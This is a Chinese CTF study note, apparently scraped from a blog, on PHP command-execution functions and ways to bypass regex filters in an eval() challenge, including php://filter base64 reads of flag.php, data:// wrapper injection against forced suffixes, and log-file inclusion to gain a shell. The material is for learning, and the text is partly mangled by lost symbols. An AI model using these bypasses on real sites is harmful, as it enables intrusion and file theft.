邯郸建设网站制作,合肥房产网58同城,寻甸马铃薯建设网站,社区电商平台排行榜#x1f60b;大家好#xff0c;我是YAy_17#xff0c;是一枚爱好网安的小白#xff0c;正在自学ing。 本人水平有限#xff0c;欢迎各位大佬指点#xff0c;一起学习#x1f497;#xff0c;一起进步⭐️。 ⭐️此后如竟没有炬火#xff0c;我便是唯一的光。⭐️ 关于… 大家好我是YAy_17是一枚爱好网安的小白正在自学ing。 本人水平有限欢迎各位大佬指点一起学习一起进步⭐️。 ⭐️此后如竟没有炬火我便是唯一的光。⭐️ 关于CTF中的命令执行部分的题目以及常见的绕过方式做以下的总结仅仅是自己在做题的过程中学习到的知识可能不太全面或者是有许多的错误还恳请各位师傅及时指出谢谢
常见的命令执行函数 exec()、system()、passthru()、pcntl_exec()、shell_exec() 、反引号 、shell_exec()函数 exec()函数
该函数只返回最后一行的结果
测试代码
?phpecho exec(ping 127.0.0.1);
? system()函数
system函数逐行返回数据
?phpecho system(ping 127.0.0.1);
? passthru()函数
?phpecho passthru(ping 127.0.0.1);
? shell_exec()
?phpecho shell_exec(ping 127.0.0.1);
? 反引号
反引号的效果和shell_exec是一样的
?phpecho ping 127.0.0.1;
? ?php$payload whoami;echo {$payload};
? nl命令 nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号nl 可以将行号做比较多的显示设计包括位数与是否自动补齐 0 等等的功能。 echo nl flag.php;
命令执行文件包含
?phpif(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\/i, $c)){eval($c);}}else{highlight_file(__FILE__);
}
?
命令执行还可以配合文件包含对于上述的题目我们可以使用include、require等文件包含函数进行绕过
cinclude($_GET[x]);xphp://filter/readconvert.base64-encode/resourceflag.php
那么如果上述的正则表达式中添加(和在这种情况下对于分号的绕过还可以使用?来闭合
cinclude$_GET[x]?xphp://filter/readconvert.base64-encode/resourceflag.php
if(!preg_match(/flag/i, $c)){include($c);echo $flag;
}
针对强制添加后缀名的绕过可以使用data伪协议参数污染
data://text/plain;base64,?php phpinfo()?(语句要经过base64编码)
还可以通过包含日志文件观察日志文件中的数据通过抓包修改对应的信息从而达到拿shell的目的
if(!preg_match(/flag/i, $c)){include($c..php);
}
上面的这种情况便是强制性的加上了php的后缀名便可以使用data://text/plain。这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了所以后面的.php会被当成html页面直接显示在页面上起不到什么作用